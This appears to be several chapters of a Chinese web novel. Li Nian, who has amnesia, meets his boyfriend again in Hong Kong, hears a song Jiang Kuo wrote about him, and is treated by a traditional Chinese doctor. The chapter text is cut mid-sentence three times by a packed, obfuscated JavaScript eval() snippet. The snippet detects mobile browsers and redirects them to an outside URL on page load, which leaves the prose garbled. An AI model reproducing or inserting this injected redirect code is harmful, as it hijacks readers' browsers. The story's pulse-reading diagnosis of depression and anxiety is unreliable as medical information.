“我小时候叫黎大福,不知道为什么就改了。”黎念小心翼翼对着车窗的倒影说。 “我好像失忆过,不知道你信不信。”黎念说,“他们都说我失忆了,我也觉得。” “我好像是有男朋友。”黎念看向窗外,“但是我忘记他是谁。” “其实你不用焦虑这些,”Alan开着车说,“既然已经忘记了,怎么不赶紧开始一段新的恋情?有时候,失忆说不定是件好事。” “可我愧疚,我为所有我忘记的人愧疚。”黎念为自己的菩萨想法笑了一声。 “你不需要愧疚,你想想你是怎么失忆的。”Alan问。 “你痴线啊,都说我失忆我怎么可能记得?”黎念恼怒道。 “抱歉,是我忘了。”Alan干笑。 一段路程过去,黎念因为宿醉加上没吃东西,已经有些低血糖的症状,濒死感终于找到空隙一股脑钻了上来。 黎念靠在车窗微微喘气。 “诶,你男朋友知道你一整晚在基吧吗。”Alan问。 黎念没有回答。 Alan猛地转头,便看见脸色苍白像是死了不久的黎念。 “你没事吧?”Alan把车急刹在路边,伸出左手去扶黎念的肩膀。 “别碰我。”黎念捂着胸口躲开了。 “你是不是有心脏病?”Alan缩回手,脸上掠过一丝嫌弃。 “去你大爷的。”黎念忍着难受,咬牙模模糊糊吐出一句不知道哪儿的方言。 被Alan这么一语言刺激,黎念越来越怀疑真是心脏病了。 上这傻逼的车,果然就是错误的选择。 Alan不想摊上什么人命,只好猛踩油门往黎念所说的地址冲去。 “要撞车了,即刻死了。”黎念带着哭腔道。 ALan翻了个白眼,这才放慢速度。 终于到了铜锣湾的其中一座和周围繁华格格不入的破公寓,Alan才松了口气。 黎念这会已经走不了路,开了门一只脚踏在地上,整个人冒冷汗。 “我来。”Alan搀住黎念肩膀,缓慢下了车。 这一幕碰巧被下来seven仔买烟的江扩撞见了。 Alan回头只看见一个一米八几身材高挑神态有些憔悴的男人,带着黑色鸭舌帽看不清脸上的表情,只是手里刚拆的新白万宝路攥得又紧又皱。 黎念趔趔趄趄走了几步,没发现江扩。 直到下一秒江扩步履沉重走过来,一把抓起黎念的手腕。 “这踏马谁?!”江扩吼。 黎念重重一颤,抬头和江扩迷蒙对视。 “你来干什么。”黎念用苍白无力的嘴唇嗫嚅道。 “呃,我走先了,拜拜。”Alan见形式不对,后退几步想进驾驶座溜走。 况且车停在这说不定被阿Sir过来一开罚单...... 人还没踏进车里一步,江扩就把Alan整个人拽出来,重重摔到地上,“砰”的一声闷响。 “死人啦。”Alan哀嚎。 “这人谁?”江扩猛然回头揪住半死不活的黎念,“这踏马谁?!回答我!Look in my eyes!” 黎念不语,只是哽咽。 “我建议你先把他送医院check下心脏,再来问我是谁。”Alan从地上步伐凌乱爬起来,看了看下半身瘫倒在地仅一只手让人拎着的黎念。 “他好像要死了。”Alan讥讽道。 黎念听见之后,干脆整个人直接瘫痪。 “我我我要死了call白车。”黎念眼神空洞,支支吾吾。 “死个屁!死不了!”江扩又把注意力转移到眼前这个陌生的男人身上,“我问你是边个扑街?!” Alan心想如果不全盘托出,估计今晚他和男朋友的约会要放鸽子了。 “gay吧老板,他醉了一晚,我送他回家,做老好人。满意了吧?”Alan啐了一口。 “然后呢?送他回家,你接下来准备干什么?”江扩怒目和这人对瞪。 “痴线。”Alan挣脱江扩强劲有力的手,搓着手腕上的佛珠串子往车门走去。 车一溜烟驶走后,只剩下川流不息的港牌车辆和稀少的行人,以及瘫痪在地的黎念和在身边手足无措的江扩。 “单纯送我回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722033|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”黎念不清楚自己为什么要解释。 “哦。”江扩点了根烟,蹲下把一根白万宝路的烟塞到黎念嘴里叼着。 “你最喜欢的白万宝路。”江扩给黎念点燃烟。 “我喜欢白万宝路?”黎念深深吸了一口,白万宝路带着醇香浑厚的烟草味又刚好没那么呛人的后劲儿。 “先回去。”江扩扶起黎念。 “怎么找到这里的。”黎念忍着喉咙发紧的焦虑感,喘着气问。 “还记得你的国际快递吗?”江扩说,“我送的。” “冚家铲。”黎念虚弱骂道,毫无攻击性。 到了楼层,黎念慢腾腾摸出钥匙开门。 江扩想起之前他们还是小屁孩的时候,黎念也住在破楼的最高层,那时二楼住着一个妓女,天天冲他俩抛媚眼。 “这楼有鸡吗?”江扩问。 “有,今晚黎小姐做白切鸡吃。”片刻,黎念别过头一脸茫然,“什么鸡?” “没。”江扩回答。 回到黎徊窄死人的出租屋,黎念立刻瘫在沙发唉声叹气。 “叹什么气?”江扩瞥了一眼许久未见的男朋友,把刘海挑染成火红色,还是那么迷人。 “我要死了。”黎念吞了吞唾沫。 “死个屁死,”江扩踢了一下沙发脚,“扑领母你再乱说!” 黎念翻了个身,脸对着沙发靠背不说话了。 黎徊半晌打了通电话过来,大致意思是白切鸡在冰箱可以解冻了。 江扩看了一眼沙发上的人,进了厨房才找到仅膝盖高的冰箱。 拿出鸡解冻,江扩突然想起刚在门口问的鸡,忍不住噗嗤一笑。 “痴线。”黎念迷迷糊糊还不忘骂道。 “你没睡?”江扩无奈。 “睡不着,”黎念又翻了个身,“有个陌生人在家,谁睡得着。” 江扩叹气。 把鸡勉强解冻完,江扩走出来搬了张小凳子坐在沙发前。 “那男的是谁?”江扩小声问。 “昨天晚上,我去酒吧喝醉,他照顾我一晚然后送回来。”黎念本懒得回答,由于心里残存的愧疚还是不情愿地讲了。 “哦~”江扩挑眉,“照顾一晚?” “关你屁事。”黎念不耐烦又翻身对着靠背,“还有我就算跟一堆男人在一起,你也管不着。你又不是我的谁。” 江扩的心像是让针扎了一下。 “老子你交了十年的男朋友!”江扩揪起黎念有耳环那一只耳朵狠狠地晃了几下。 直到听见黎念吸鼻子的啜泣声,才松开哭者红肿的耳朵。 “你走吧。”黎念抬手摸了摸红耳朵。 “啊?”江扩错愕。 “你总是弄哭我,我不喜欢你这样的,你走吧。”黎念调整一下睡姿。 “不走。”江扩跟个老赖似的,屁股坐得更实了。 “随便你。”黎念闭上眼。 窗外亮起霓虹灯,这片地区尤其嘈杂。还有另外一条街叮叮车到站时的清脆铃响。 待周围完全按了下来,江扩踮起脚尖轻声走到门边,开了客厅的昏暗灯泡。 见黎念还没起来,江扩又坐到温度还没完全冷却的凳子上。 “回我那不?”江扩问。 “不了。”黎念半睁开一只眼,“跟你不熟,还给您添麻烦。” “真不回我那了?”江扩不敢相信,颤着声音又问一遍。 “不回了,再也不回了。”黎念闭上那只眼睛。 “那我能来看你吗?就偶尔行吗。”江扩舔了舔嘴唇,语气乞求。 黎念最烦这种死缠烂打的人,暗中翻了个白眼。 “随便你。”黎念敷衍道。 54. 第 54 章 黎念不知道几时睡了过去,江扩把椅子搬到窗边看远处刚好到站的叮叮车。上车和下车的人们都井然有序。 整个出租屋跟没人住过似的一片死寂,明明里头待着两个曾经如胶似膝甚至共同策划过未来前景的同-性恋人。 江扩朝窗外的灯红酒绿和其中格格不入的破公寓整整看了半个小时,中间偶尔转转脖子。 脑里灵光一闪,拿出挎包里的小本本写了一段歌词,改了又改。 晚上七点多,黎徊才从楼梯匆匆跑上来。脚上的黑色高跟鞋“咯哒咯哒”在楼道发出阵阵回响。 由于每天不足十二小时在家,黎徊每次在回家门口都得大声呼唤黎念,以确保人还在。 “弟弟!弟弟!”黎徊一手拿钥匙,一手敲门。 江扩为了自己不吓到黎徊,先偷偷走到门后面看了一眼。 “是我。黎念他睡着了。”江扩给黎徊开门。 黎徊拎着各种瓶瓶罐罐的调料和菜市场买的菜站在门口,一脸迷茫跟出来迎接的江扩对视。 “你咋?”黎徊正要问。 “嘘,”江扩比了个手势,“我就来看一眼。” “我还以为我弟恢复记忆,让你过来了,”黎徊双眼闪过一丝失望,但很快消失,提起手中的一堆袋子,“今晚做白切鸡,留下来吃一顿再走。” “也好。”江扩垂眸,退了几步进来。 黎念还睡得死死的。 江扩进厨房想着要帮忙,黎徊也毫不客气,指了指柜上面的调味瓶。 “拿瓶蚝油出来。”黎徊说。 江扩应了一声,把那瓶大的蚝油拿下来,使了死劲儿才把盖子拧开。 江扩见瓶口有点灰,凑过去才发现里面的蚝油闻起来怪怪的。 “多久了。”江扩晃了晃蚝油瓶子。 “我回来就买了,应该没坏吧?”黎徊说,“而且我买了新的在袋子里。” “哦,那我拿那瓶新的不就好了。”江扩说。 “不行!不能浪费!”黎徊阻止江扩。 “就剩这么一点,你,”江扩摇摇头,拿出一碟子把剩下的蚝油全部倒进碟子,下意识又拿起来看瓶底,失声喊道,“我草。” “咋?”黎徊皱眉。 “你自己看!”江扩气笑了,把瓶子对准黎徊,“呐,你说说这瓶吃多久了?” 黎徊凑近去看瓶口,也是吓出一声“我草”。 底层已经结了一层厚厚的霉菌,但由于蚝油瓶不透明,从外边完全看不出任何猫腻。 “这玩意很致癌的!”江扩倏地把蚝油瓶扔进旁边垃圾桶。 “我不知道啊,我跟我弟都这样吃几个月了。”黎徊一声干呕。 “下次还是注意点比较好。”江扩无奈。 黎徊叹了口气,把新的蚝油一脸狰狞地拧开。 “蚝油千万得放冰箱,”江扩看了一眼在台上光秃秃的白切鸡,“白切鸡需要用蚝油?” “不是啊,我蚝油是弄别的。”黎徊说。 “呐,白切鸡最紧要是过冷河。”黎徊不知从哪学来的话,把冰箱一整瓶屈臣氏蒸馏水冰块通通倒进放鸡的盆里。 “哈。”江扩逗笑了。 白切鸡需要浸冰水三个字(十五分钟,粤语及潮汕话用词,一个字代表五分钟),江扩在厨房转来转去发现一直帮倒忙,只好回到沙发旁边的凳子坐下。 黎念在小声打呼噜。 “喂。”江扩伸出一只脚,轻轻踢了一下沙发脚。 黎念哼唧一声,继续入睡。 江扩叹了口气,继续呆呆望着窗外,时不时记点歌词。 随着外边又是一阵叮叮车的到站清脆铃声,江扩的手机刚好响起Apple Music软件的提示音。 是Apple Music的同步推送,一首《锈窗》,词人江扩。这首歌在没和黎念重逢时江扩早就作好,里面承载着江扩七八年思念的痛苦。 这首歌的播放量在港本地已经成为TOP5,算是火了一把。 “你们共同听过117次。”推送说。 江扩垂眸,摸出耳机听歌。 “喂。”江扩说。 黎念低低嗯了一声。 江扩又转过去面对窗户。 远处的中银大厦的应急激光射灯竟然穿透十几公里来到这边,绿色的菱形光栅和唐楼铁皮窗上竖挂着的彩色霓虹灯相互辉映。 外面下起了蒙蒙小雨,江扩凝视那些在玻璃窗上滑行的雨滴。许久把头凑到玻璃窗前,微微张嘴哈气。 玻璃窗的一小块起了白雾,江扩用一只手指在上边写字,幼稚又无聊。 “念。”江扩边写边小声念道。 此刻他脑里正在构思用歌词唤醒黎念记忆的方法。 “吵死了。”黎念骂骂咧咧翻了个身,撑着扶手起来了。 黎徊端着俩盘子从厨房出来,又拿了三个鸡碗。 “你怎么还不走?”黎念抿了抿嘴唇,顺起小茶几上黎徊的细烟,正想点一根。 “这。”江扩拿起白万宝路朝黎念晃了晃。 “不要。”黎念白了一眼,自顾抽着Kent。 “他今晚在这,跟我们吃白切鸡。”黎徊把最后一道菜白切鸡端了出来。 “跟餐馆老板要的秘方,可正宗。”黎徊在围裙上抹干手上的水,朝两人笑了笑。 “有多正宗?”黎念嗤了一声。 “妈妈的味道那种。”黎徊下意识地回答。 “妈妈?什么妈妈?”黎念皱眉不得其解。 黎徊才想起她弟记忆缺失,倒也不能怪人家,便招呼两人过来吃饭。 刚坐下,黎徊迫不及待的夹了两大块白切鸡,放到各自碗里。 “试试。”黎徊坐下。 黎念夹起鸡肉放进嘴里,皱眉嚼了几下。 “呃,就那样吧。”黎念漫不经心说。 “你现在说话很欠揍你知道吗。”江扩瞪了黎念一眼,往嘴里塞了鸡肉。 “嗯不错,”江扩嚼了嚼,“鸡肉质紧实嫩滑,一啖落去鸡汁浓郁,鸡香四溢,师傅真是好功夫啊。” “这才对。”黎徊被夸成旋转木马,乐得团团转。 “净扮嘢(真会装)。”黎念一脸厌恶。 两人都没说话,只有黎徊在旁边滔滔不绝,一直在讲单位那个对她展开激烈追求的男人。 黎念貌似习惯了,一手捂着左耳,一手往嘴里疯狂扒饭,一只脚底板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722034|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踩在木椅上,动作粗鲁。 沉默间隙,江扩看了黎念一眼,突然从嘴里悠悠吐出几句歌词。 “为何我数着十年前的聚,苦过廿四岁的孤泪。” 黎念猛然抬头,竟觉得这歌如此熟悉,甚至他好像能接下歌词。 “为何写着你名姓的掌纹,斩不破这座湾的雪水。”黎念下意识哼出。 江扩放下筷子,捂住双眼悄悄哽咽。 “什么歌,还不错,”黎念哼完抬头瞅了哭成狗的江扩一眼,嫌弃道,“痴线,哭什么哭,好样衰(难看)。” 黎徊摇摇头。 “什么歌?”黎念问。 “《锈窗》,我写的。”江扩擦干眼泪。 “不信。”黎念压根看不出来这个讨人厌的家伙还会写歌词。 “不信你看。”江扩把手机里的初稿和音乐软件词人那一栏给黎念看。 “哦。”黎念回答。 “写给你的。”江扩小声补充。 黎念不想再听,迅速擦完嘴回到沙发上坐着。 江扩帮忙收拾碗筷,顺便在黎徊的争夺拉扯下把碗筷洗了。 “你快走吧。”黎念催促道。 江扩也不知从进门到现在叹了几口气,起身收拾好挎包。 “两包白万,送给你。”江扩把两包崭新的白万宝路放在茶几上。 “不要。”黎念别过头。 “随便你,反正我放这了。”江扩跟黎徊道了别,开了门下楼。 在楼下不远就有个的士总站。江扩准备走过去搭的士。 黎徊犹豫几秒,还是匆匆跑下楼找江扩。 “怎么了姐?”江扩苦笑。 “跟你说件事。”黎徊说。 江扩站到橙色垃圾桶旁边点了根烟,给黎徊分了一根。 “什么事?”江扩问。 “我约到一个很好的中医,他对焦虑抑郁这方面很有研究,先拆几包中药给他喝。”黎徊说。 “那失忆呢?”江扩呼出一口烟。 “等喝完一个月中药,看看焦虑怎么样,恢复记忆只是时间问题,不用担心。”黎徊说。 “我现在很痛苦,真的。”江扩掐灭烟头,“明明所有做过的事,说过的话,给过的承诺,他一概不记得了!他可以认你这个姐姐,他为什么不能重新爱上我!就算是一点点喜欢也行,可他现在就把我当痴线,当坏人......” 江扩越说越激动,惊到旁边的路人。 黎徊想拿手去捂江扩的嘴,又觉得不妥。情急之下只好拿出自己的黑皮包,往江扩嘴唇狠狠一扇。 “啪。”江扩瞬间闭了嘴,红温的脸也逐渐恢复正常颜色。 “你踏马,”江扩捂住跟吃了几十斤花椒辣椒似的又辣又疼的嘴,哀嚎道,“这皮包你就非得随身带着打人是吧?” “Sorry啊,习惯了。”黎徊收回黑皮包。 “我走了,明天结果发我一下。”江扩嘴还在疼,挥挥手上了辆的士。 隔天黎徊连哄带骗把黎念塞进的士。 “我一句话都不说!”黎念怒道。 “没让你说,你全程就闭嘴吧。”黎徊扇了下黎念的额头,强行把她弟的安全带系上了。 55. 第 55 章 去看中医的路上,黎念在的士车里挣-扎着要下车,让黎徊一黑砖头给拍老实了,头晕脑胀地靠在车窗。 “快看,我们以前住这儿,”黎徊指着窗外的几栋花园,“瞧,现在都建成小区了。” “以前是什么时候?”黎念皱眉,“那个姓江的不是说我跟他一齐住吗?你们到底谁骗我?” 黎徊张张嘴无法解释,只好缩回手。 “算了,跟你说你也记不清。”黎徊说。 司机无聊,打开收音机听电台音乐。 电台刚好播到那首锈窗。 “呢首《锈窗》系填词佬江扩写畀当年不辞而别嘅同-性男友,所幸今日今时离散之人终于在香港重逢。谨此祝愿天下有情-人皆执手偕老,正如歌词所讲‘斩不破这座湾的雪水’,有啲嘢,连时间都冲唔淡。”电台主播用甜美的语气娓娓道来。 黎念一开始被前面的填词佬三个字激得笑出一个鼻涕泡。 直到女歌手的声音出来,黎念才发觉不对头。似乎每一句歌词他都铭记在心,而且像是刻在基因里的而不是后天记的。 “像素裂开的月光,照穿时差时光隧道。”女歌手用空灵的声线唱道。 “任你异国已读不回,我照样饮尽酒水。”黎念心里默念。 “等这筐油柑过期,还有半扇锈窗,可凝望。”女歌手唱。 “为何我数着十年前的聚,苦过廿四岁的孤泪。”黎念头痛欲裂,不想再回忆,但就是控制不住接了下去。 “为何写着你名姓的掌纹,斩不破这座湾的雪水。”女歌手带着哭腔。 “熄咗佢!(关掉它)!”黎念从座位跃起,指着驾驶座嘶声力竭。 黎徊从睡意中惊醒,强行把撞到的士车顶的黎念按了下来。 “疯啦!”黎徊扇了巴掌黎念额头。 黎念疼得挤出几点泪水,又趴在车窗边垂头丧气。 “痴线。”的士师傅骂骂咧咧把声音拧小了。 恢复安静后,黎念拿出手机打开相册,里面有很多他和那个姓江的合照,以及各种不知地名的风景照,但他完全想不起来了。 打开Music APP,在搜索栏打了江扩的笔名,显示栏第一个就是江扩本人,还加V。 点开一看。 哟,这衰仔粉丝还挺多,包括大陆那边的。 黎念翻页,点了江扩第一首歌,只有词是江扩写的,其他都没显示他的笔名。 第一首是就是《锈窗》,第二首《别念》,第三首《枯木》,第四首《大福大福》,第五首《断线红绳》...... 那条在医院被自己扯断的红绳??? 黎念点开一首,笨拙地戴上有线耳机。 黎徊闭着眼小憩,没注意她弟的动静。 其中有一首歌,尾奏加了一点点两个男的打闹声,却毫不违和。 听了几首,黎念发现所有歌词都倒背如流,立马汗流浃背了。 可他越想记起些什么,头越开始剧痛,胸口发闷。 最后还是没恢复点记忆,还愤懑地一把扯下耳机关静音。这些熟悉又记不起来的音乐,只会让他越来越痛苦。 那个姓江的也不知道怎么样了。 “想他做什么。”黎念悄悄嘟囔。 终于到了目的地。黎念以为是什么大医院,结果是间破破的小诊所。 黎徊推着黎念进了狭窄的楼梯。 “庸医。”黎念对着破烂房子诊断道。 “人家几十年前救过某个何富豪,把人家从鬼门关拽回来了你信吗?”黎徊哼了一声,“别随随便便判断一个人,这可不是你以前的作风。” “我以前是什么样的?很乖?很好欺负?”黎念不耐烦道。 “收皮!”黎徊不想再回答。 三楼就是姚老先生的诊所。这几年来,姚老先生救了不少人,诊所挂满了锦旗,还有这几十年一些香港政-府官员和明星的合照。 诊所很破,老先生在中间空着的地方研究年轻人的滑板,后面一张简陋的桌子和病人坐的木椅。身后是偌大的中药柜。 “姚生,你好吗?”黎徊笑问。 “好,请坐。”老先生笑眯眯说。 “就是这个小伙要看是吧?”老中医的白话有点口音。 “系。”黎徊回答。 “喝点茶,再看。”老中医从茶几下面摸出一包大洋炒茶,“看脉,再睇下用不用针灸。” “你是哪的?”口音有点像在哪听过,黎念忍不住问。 “闭嘴。”黎徊白了没礼貌的夯货一眼。 “我是潮汕人,不过已经几室年没回去咯。”老中医感叹,泡了两杯刚好浓度的潮汕功夫茶给俩人。 “潮汕是香港哪的?”黎念忍不住问。 “大陆的,以前香港本地人都叫我们大陆仔,很多潮汕人为了团结不受欺负,成立鹤佬帮,就是现在的香港大黑bang三合会雏形,”老中医摇摇头,“他们大多控制了九龙城寨麻将馆,一条路走到黑。还好我祖传学中医,在这当了中医,不然也没出路了。没想到这一干,干了五十年。” “那可太不容易。”黎徊感叹。 黎念在一旁沉默,思考潮汕跟大陆仔怎么听着这么熟悉。 聊了半个钟,老中医才坐到桌前,给对面的黎念把脉。 两根手指在手腕轻轻捏着,食指有规律地轻点。 病情似乎并不棘手,老中医很快把完脉在纸上写了一堆潦草的药名。 “吃一个月。”老中医转身拆中药。 “不用针灸吗?”黎念说。 “你想针灸吗?一根针刺下去,“chua~”老中医模仿得绘声绘色,吓得黎念往后退了一步。 “不要。”黎念拼命摇头。 黎徊在后面掐了黎念一把。 老中医乐呵呵给两人拆了一大袋中药,嘱咐回家就开始煲。 付了刚好一千港币,黎徊指使黎念提着一大袋中药下了楼。 “你不帮我?!”黎念两只手被中药袋勒出红痕,朝黎徊带着哭腔道。 “你自己的药,自己提。”黎徊先冲到街上,找到最近的一个橙色垃圾桶旁点了根烟。 黎念此刻没有抽烟的欲望,站到旁边放下中药袋。 “你跟那姓江的一样,都是烟鬼。”黎念嘁了一声。 黎徊叼着烟,拿起黑皮包又往黎念头上一扇。 “啪。” 黎念抱着头蹲下去,暗暗流泪。这女人随身带武器,简直是恐怖分子,比那个姓江的还要恐怖。 甚至有一瞬间黎念觉得回姓江的那里还没导致这么惨。 抽完烟黎念便嚷着要回去,打了的士上去又是沉默一路。 再次经过那条住过的街,黎徊又在回味。忽然身旁传来轻轻一声。 “姊姊。”黎念迟疑地喊。 黎徊瞪大眼睛,猛地回过头跟黎念对视。 “想起来了?”黎徊几乎喜极而泣。 “没有。”黎念靠回车窗,“只是觉得您为我忙了这么多,是不是叫一声这个能让您高兴点。” 黎徊心想着也是,以前黎念叫姐姐从不好好叫,最多也就叫家姐。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722035|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这天晚上煮完中药,黎徊把一小碗中药汤端到黎念面前。 “好大味,”黎念一脸嫌弃,“整个客厅一整天都是这个臭味。我不喝。” “乖,喝了你就不会难受了。”黎徊安抚道。 “我不难受。”黎念说罢又是一阵心慌上来。 “喝!”黎徊把一颗椰子糖扔到黎念额头。 黎念哀嚎一声,这才接过糖带着痛苦面具喝下一碗中药,又以迅雷不及掩耳之势把糖纸撕开扔进嘴里。 这个女人的震慑力不是一般大。 这边江扩跟几位制作人在唱片公司给新来的女歌手试音。吴小姐打算去美国留学声乐,已经申请成功,跟公司断了合约。 这一忙忙到下个周末。 本来跟黎徊说好每天跟他汇报一下黎念的情况,可到现在还没有黎徊的消息。看来最近人家也是忙的不可开交。 周日下午,江扩正坐在窗台旁喝地下商场买的手冲咖啡,一边翻之前跟黎念的聊天记录。 黎徊终于传来消息。 “大姐头——一周过去,坚持每日一剂中药分三次饮尽,黎念已经六天没有惊恐迹象,只是偶尔心慌坐立不安。最近黎念迷上戴耳机听歌。” 江扩吞下一口咖啡,对着窗外的唐楼微笑。 等黎念的焦虑惊恐稳定了,再接过来慢慢引导也不迟。 江扩此刻感觉自己像是个有位叛逆孩子的老父亲,孩子怎么劝都不认他。 一个多月过去,黎念在黎徊的督促下喝完了一整袋中药。 老中医给黎念诊了一次脉,脉象稳定多了。 黎念已经连续半个月没有焦虑发作,几乎得益于这些中药,于是很好奇。 “喝中药调理心理病,有什么根据吗?”黎念问。 “一时讲唔清。”中医摇头。 回家前中医拿出一张人体脏腑图。 “对我们中医来说,脉象能诊断出很多东西,”老中医指着其中一个内脏,“知不知道这是什么脏器?” “肝。”黎徊先回答了。 “嗯,脉象诊断出弦脉,即就是肝气郁结了,”老中医用满是皱纹的手弹了个响指,“即系depression(抑郁症)。” “那焦虑?”黎念第一次对中医感了兴趣。 “看脉象,如果系滑数脉,即系痰火扰心啦,焦虑狂躁患者,包括你,都有这个脉象,”老中医收回图解,“跟你们讲太多太复杂,之后感兴趣自己搵书多学学。” “多谢晒你!”黎徊握住老中医的手,眼角渗出泪水,“我弟之前出车祸导致一部分记忆丢失,有没有什么方法能找回来?” 姚老中医看了黎念一眼,“失忆啊,这还是得中西结合,检查脑部哪个区域受伤,我还是很开明的,中西结合嘛。” 中药停药的第三天,黎念被楼下的车流吵醒,从沙发掀开被子坐起来。 桌上一张字条。 黎念打开一看,署名黎徊。 “今晚带新男友来屋企食饭,唔好搞嘢。” “哦。”黎念扔下纸条,走了几步到窗前俯瞰街道。 泊车位停着辆黑色进口丰田,旁边站着个人高马大的家伙。 可能是停太久车,这会正被交警抄牌,Alan嬉皮笑脸塞给交警几张大港币,把交警打发走了。 黎念想起那晚在他膝盖上睡了一夜,脸竟然有些发热。 索性开了窗户,对着楼下的Alan大喊。 “你来做什么?” 下面的Alan愕然抬头,跟顶着一头鸡窝貌似还没睡醒的黎念对视。 56. 第 56 章 “做咩啊?”黎念没好气地道。 “啊!”Alan貌似挺兴奋,“等到你了!” “等我?”黎念一头雾水。 “下来,我有事同你讲。”Alan说。 “我踏马下去个屁!”黎念骂道。 骂完黎念小声惊呼一声“我草”,心里琢磨自己怎么会讲这种奇怪的方言。 最后黎念还是整整着装和头发下去了,Alan正靠在橙色垃圾桶旁边抽烟。 “呐。”Alan塞给黎念一支。 “什么来的?”黎念接过烟看了看。 “你不知道这是香烟吗?”Alan心想这人可能真有问题。 “咩牌子。”黎念没好气地问。 “自己看。”Alan拿出烟盒给黎念看,是江扩送的那种白万宝路。 黎念摸了摸身上,没打火机。 “呐。”ALan扔给黎念一个煤油打火机,黎念很熟练地接住了,点燃。 “你心脏病好了吧?”Alan皱眉看着烟雾缭绕的黎念。 “咩心脏病啊?”黎念往Alan脸上吐烟雾,“焦虑啫嘛。” “没事了吧。”Alan只关心黎念发病自己估计要摊上麻烦。 “关你什么事?”黎念没好气回答。 Alan被这一喷烟雾和一番臭脾气的回答,竟然还和颜悦色请黎念抽了两根烟。脾气还挺好。 “你来做什么。”黎念掐灭烟头。 “我们兰桂坊主店里搞活动,今晚可有很多靓仔gay来参加,”Alan凑到黎念耳边说,“单身party,很刺激的,有兴趣来参观。” “好,”黎念又黑着脸道,“唔该下次我喝醉酒把我赶出来算了,不用躺你膝盖这么好。” “OK。”Alan耸耸肩开车走了。 由于太久没去酒吧消遣,黎念早就蠢蠢欲动。晚上见黎徊迟迟不回家便跑出去赴约了。 “兰桂坊,边度啊?”黎念打电话问。 “哦,兰桂坊7-11便利店。”Alan那边很嘈杂,甚至还有男生的惊呼。 “哇!好靓啊!!!”几个零在那边尖叫。 “快啲来喔,有好多靓仔。”Alan挂了。 黎念脑补一堆靓仔的画面,呆呆地望着的士前面的街道,嘴角几乎要流出涎。 “喂,仲走唔走(还走不走了)!”司机微怒道。 “哦,兰桂坊7-11,唔该。”黎念回过神。 司机用诡异的眼神回头瞥了黎念一眼,车跟条疯狗似的往前一冲。 Alan所谓的兰桂坊7-11,白天是一家看似正常的seven仔便利店,晚上便成了7-11club。 日与夜分裂的gay吧。 白天货柜上摆满了维他奶和安全套,深夜的便利店冰柜便会平移露出暗门,变身为红绿橙三色重组的gay吧,象征着彩虹旗。 黎念对此毫不知情,直到下了车,面前是一家seven仔。他还以为自己被耍了。 在门口踌躇片刻,才踏进这家便利店。 “欢迎欢迎,搭乘基佬专线。”前台招呼道。 黎念以为自己出现幻听。 “入场买冻柠茶加朱古力棒,可以搭乘基佬专线到达基bar。”前台说,“姊妹专线嘞就买暖胃姜茶加湿纸巾。” 黎念半信半疑,买了一包朱古力棒和一杯冻柠茶,顺便看烟架有包白万也给买了。 结账后前台递过来一张券,神秘一笑。 旁边的冰柜缓缓移开,一道彩虹灯光透出,显得整个seven仔诡异至极。 “嘿!”一个男声在彩虹灯那边喊道,身形的轮廓闪着光。 男人身后几个开放的gay,竟然在中间激烈亲吻。 黎念激起一身冷汗,下意识抱起一堆东西撒腿就往外冲。 他在美国见过更开放的gay吧,但这种便利店里的诡异gay吧还是第一次见。 Alan见黎念准备跑路,也撒腿冲出来拦住黎念。 “券都有了,就来看看吧。”Alan嬉皮笑脸哀求道。 黎念攥紧袋子咽了咽口水,把认识的诸天仙神默默求了个遍。 最后还是被那个叫Alan的死皮赖脸拉进去。 “给这位先生来一杯Whiskey,”Alan说,“三十分钟后party正式开始。” 黎念坐在吧台,转着调酒师刚端过来的一杯□□块威士忌发呆。 说实话,自己去普通gay吧混一整天晚上他都不带喘的,但问题这次他是被强行拉进来的,而且从未见过听过的诡异酒吧。 吧里各色皮肤的人们在急切寻求亲吻,黎念恨不得整个人躲进去哪条缝里,以防突然凑过来的嘴。 一整杯威士忌下肚,黎念准备逃跑。刚想从冰柜缝钻出去,又被眼尖的Alan拉进bar里。 为了让黎念玩得开心,Alan干脆把黎念拉到他各位基友面前,几人围着坐下。 “我想走。”黎念瑟瑟发抖。 “走咩走啫,一齐玩啦。”另外一个白人长卷发肌肉男搂住黎念,一股浓烈的狐臭味席卷而来。 黎念不禁露出嫌弃的表情,往Alan那边挪了点。Alan趁势搂住黎念的肩膀。 黎念悄悄做了个深呼吸。 “算了,算了,人家只是搂个肩膀,不是什么大事。”黎念自我安慰道,并且准备在形式不对的时候撒腿溜之大吉。 冷静下来之后,黎念抬头发现同座之中有个人正盯着他看,面貌熟悉。 “咦?”那个黄毛男人往黎念那边凑过去,“这位不是我们当年去美国移民的黎大福同学吗?” 黎念完全没有记忆,但想起黎徊说过以前他读中学的时候经常被人扁,便自然而然地把这个人归到扁过他的人之中。 “不识得你。”黎念摇头。 